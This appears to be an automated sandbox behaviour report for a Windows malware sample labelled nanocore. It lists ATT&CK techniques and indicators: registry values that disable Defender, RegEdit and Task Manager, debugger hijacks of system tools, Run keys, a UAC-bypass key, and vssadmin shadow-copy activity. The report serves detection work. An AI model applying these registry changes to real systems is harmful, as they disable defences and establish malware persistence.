nanocore | 33668a811b2f393f0f5f23b910fad23de6d37da956e9d1961fd1b7b72f3754d8

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	yaziyorum.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4600	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	yaziyorum.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	yaziyorum.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	yaziyorum.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\yaziyorum.io_chrome.exe"	yaziyorum.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	yaziyorum.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\yaziyorum.io_chrome.exe"	yaziyorum.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	yaziyorum.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\yaziyorum.io_chrome.exe"	yaziyorum.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4056	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	yaziyorum.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	yaziyorum.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	yaziyorum.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\yaziyorum.io_chrome.exe"	yaziyorum.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\yaziyorum.io_chrome.exe"	yaziyorum.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\yaziyorum.io_chrome.exe"	yaziyorum.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
6380	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	yaziyorum.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	yaziyorum.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	yaziyorum.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1560	wscript.exe
5396	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	yaziyorum.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	yaziyorum.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5116	sc.exe
4092	sc.exe
2620	sc.exe
1152	sc.exe
5812	sc.exe
6248	sc.exe
4708	sc.exe
5556	sc.exe
5864	sc.exe
6852	sc.exe
6616	sc.exe
5240	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6704	cmd.exe
1132	cmd.exe
3692	cmd.exe
6524	cmd.exe
428	cmd.exe
6432	cmd.exe
576	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6964	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
6100	NETSTAT.EXE
4292	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2772	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
6872	vssadmin.exe
5316	vssadmin.exe
6264	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\WallpaperStyle = "2"	yaziyorum.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134308004527165987"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings	yaziyorum.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell	yaziyorum.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open	yaziyorum.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\yaziyorum.io_chrome.exe"	yaziyorum.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	yaziyorum.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	yaziyorum.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	yaziyorum.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command	yaziyorum.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open	yaziyorum.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell	yaziyorum.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings	yaziyorum.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	yaziyorum.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command\DelegateExecute	yaziyorum.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command	yaziyorum.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\yaziyorum.io_chrome.exe\" \"%1\""	yaziyorum.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	yaziyorum.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2936	schtasks.exe
4316	schtasks.exe
3388	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3164	chrome.exe
3164	chrome.exe
4600	powershell.exe
4600	powershell.exe
4600	powershell.exe
2592	WMIC.exe
2592	WMIC.exe
2592	WMIC.exe
2592	WMIC.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1012	WMIC.exe
1012	WMIC.exe
1012	WMIC.exe
1012	WMIC.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
5932	WMIC.exe
5932	WMIC.exe
5932	WMIC.exe
5932	WMIC.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe
1712	yaziyorum.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1712	yaziyorum.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3164	chrome.exe
Token: SeCreatePagefilePrivilege	3164	chrome.exe
Token: SeShutdownPrivilege	3164	chrome.exe
Token: SeCreatePagefilePrivilege	3164	chrome.exe
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeShutdownPrivilege	3164	chrome.exe
Token: SeCreatePagefilePrivilege	3164	chrome.exe
Token: SeShutdownPrivilege	3164	chrome.exe
Token: SeCreatePagefilePrivilege	3164	chrome.exe
Token: SeShutdownPrivilege	3164	chrome.exe
Token: SeCreatePagefilePrivilege	3164	chrome.exe
Token: SeShutdownPrivilege	3164	chrome.exe
Token: SeCreatePagefilePrivilege	3164	chrome.exe
Token: SeShutdownPrivilege	3164	chrome.exe
Token: SeCreatePagefilePrivilege	3164	chrome.exe
Token: SeIncreaseQuotaPrivilege	2592	WMIC.exe
Token: SeSecurityPrivilege	2592	WMIC.exe
Token: SeTakeOwnershipPrivilege	2592	WMIC.exe
Token: SeLoadDriverPrivilege	2592	WMIC.exe
Token: SeSystemProfilePrivilege	2592	WMIC.exe
Token: SeSystemtimePrivilege	2592	WMIC.exe
Token: SeProfSingleProcessPrivilege	2592	WMIC.exe
Token: SeIncBasePriorityPrivilege	2592	WMIC.exe
Token: SeCreatePagefilePrivilege	2592	WMIC.exe
Token: SeBackupPrivilege	2592	WMIC.exe
Token: SeRestorePrivilege	2592	WMIC.exe
Token: SeShutdownPrivilege	2592	WMIC.exe
Token: SeDebugPrivilege	2592	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2592	WMIC.exe
Token: SeRemoteShutdownPrivilege	2592	WMIC.exe
Token: SeUndockPrivilege	2592	WMIC.exe
Token: SeManageVolumePrivilege	2592	WMIC.exe
Token: 33	2592	WMIC.exe
Token: 34	2592	WMIC.exe
Token: 35	2592	WMIC.exe
Token: 36	2592	WMIC.exe
Token: SeBackupPrivilege	1564	vssvc.exe
Token: SeRestorePrivilege	1564	vssvc.exe
Token: SeAuditPrivilege	1564	vssvc.exe
Token: SeShutdownPrivilege	3164	chrome.exe
Token: SeCreatePagefilePrivilege	3164	chrome.exe
Token: SeIncreaseQuotaPrivilege	2592	WMIC.exe
Token: SeSecurityPrivilege	2592	WMIC.exe
Token: SeTakeOwnershipPrivilege	2592	WMIC.exe
Token: SeLoadDriverPrivilege	2592	WMIC.exe
Token: SeSystemProfilePrivilege	2592	WMIC.exe
Token: SeSystemtimePrivilege	2592	WMIC.exe
Token: SeProfSingleProcessPrivilege	2592	WMIC.exe
Token: SeIncBasePriorityPrivilege	2592	WMIC.exe
Token: SeCreatePagefilePrivilege	2592	WMIC.exe
Token: SeBackupPrivilege	2592	WMIC.exe
Token: SeRestorePrivilege	2592	WMIC.exe
Token: SeShutdownPrivilege	2592	WMIC.exe
Token: SeDebugPrivilege	2592	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2592	WMIC.exe
Token: SeRemoteShutdownPrivilege	2592	WMIC.exe
Token: SeUndockPrivilege	2592	WMIC.exe
Token: SeManageVolumePrivilege	2592	WMIC.exe
Token: 33	2592	WMIC.exe
Token: 34	2592	WMIC.exe
Token: 35	2592	WMIC.exe
Token: 36	2592	WMIC.exe
Token: SeShutdownPrivilege	3164	chrome.exe
Token: SeCreatePagefilePrivilege	3164	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe
3164	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1712	yaziyorum.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 3164	1712	yaziyorum.io_chrome.exe	89
PID 3164 wrote to memory of 5608	3164	chrome.exe	90
PID 1712 wrote to memory of 4600	1712	yaziyorum.io_chrome.exe	91
PID 1712 wrote to memory of 5116	1712	yaziyorum.io_chrome.exe	93
PID 1712 wrote to memory of 4092	1712	yaziyorum.io_chrome.exe	95
PID 3164 wrote to memory of 1160	3164	chrome.exe	97
PID 3164 wrote to memory of 6964	3164	chrome.exe	98
PID 3164 wrote to memory of 1160	3164	chrome.exe	97
PID 3164 wrote to memory of 3652	3164	chrome.exe	99
PID 3164 wrote to memory of 4196	3164	chrome.exe	100
PID 3164 wrote to memory of 3040	3164	chrome.exe	101
PID 3164 wrote to memory of 3652	3164	chrome.exe	99
PID 3164 wrote to memory of 4196	3164	chrome.exe	100
PID 3164 wrote to memory of 3040	3164	chrome.exe	101
PID 1712 wrote to memory of 2620	1712	yaziyorum.io_chrome.exe	103
PID 1712 wrote to memory of 5864	1712	yaziyorum.io_chrome.exe	105
PID 3164 wrote to memory of 5956	3164	chrome.exe	106
PID 3164 wrote to memory of 5956	3164	chrome.exe	106
PID 1712 wrote to memory of 6852	1712	yaziyorum.io_chrome.exe	187
PID 3164 wrote to memory of 2856	3164	chrome.exe	110
PID 3164 wrote to memory of 2856	3164	chrome.exe	110
PID 1712 wrote to memory of 1152	1712	yaziyorum.io_chrome.exe	111
